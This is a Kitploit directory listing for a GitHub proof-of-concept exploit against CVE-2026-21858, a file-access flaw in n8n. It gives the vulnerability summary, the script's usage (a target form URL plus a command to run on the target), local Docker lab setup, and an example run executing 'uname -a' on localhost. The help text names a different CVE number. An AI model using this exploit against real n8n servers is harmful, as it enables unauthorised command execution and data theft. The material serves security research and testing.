Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
PoC-CVE-2026-21858 — Proof-of-concept exploit for CVE-2026-21858 (ni8mare) impacting n8n versions < 1.121.0 | Kitploit
Tools/GitHubGitHub/masterwok/poc-cve-2026-21858
Vulnerability AnalysisExploitationWeb Application ExploitationLearning & Education
GitHubmasterwok/poc-cve-2026-21858

PoC-CVE-2026-21858

Proof-of-concept exploit for CVE-2026-21858 (ni8mare) impacting n8n versions < 1.121.0

View Repository
4 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

PoC-CVE-2026-21858

n8n is an open source workflow automation platform. Versions starting with 1.65.0 and below 1.121.0 enable an attacker to access files on the underlying server through execution of certain form-based workflows. A vulnerable workflow could grant access to an unauthenticated remote attacker, resulting in exposure of sensitive information stored on the system and may enable further compromise depending on deployment configuration and workflow usage. This issue is fixed in version 1.121.0.

https://nvd.nist.gov/vuln/detail/CVE-2026-21858

Usage

root@kitploit:~
❯ python CVE-2026-21858.py -h
usage: CVE-2026-21858.py [-h] --command COMMAND form

PoC exploit: CVE-2026-1357

positional arguments:
  form               Target form URL

options:
  -h, --help         show this help message and exit
  --command COMMAND  Command to run on target

Example

This PoC was written against a barebones n8n workflow to mock a simple file conversion flow:

Example workflow

Clone the respository and create a vulnerable docker instance:

root@kitploit:~
mkdir n8n-data
sudo chown -R 1000:1000 n8n-data
docker-compose up -d

Once the instance is created, crete the workflow shown in the above screenshot. For the Extract from File step, you'll need to set On Error setting to Contine to allow the workflow to complete. Additionally, set the flow to Active in the toolbar.

After creating the flow, install the requirements and launch the exploit:

root@kitploit:~
pip install -r requirements.txt

python CVE-2026-21858.py http://localhost:5678/form/1d6de4f6-23dc-4163-ad39-a69252189d5e --command "uname -a"

Example output


This project is provided for educational and research purposes only. The author is not responsible for misuse or damage caused by this code.

Download Tool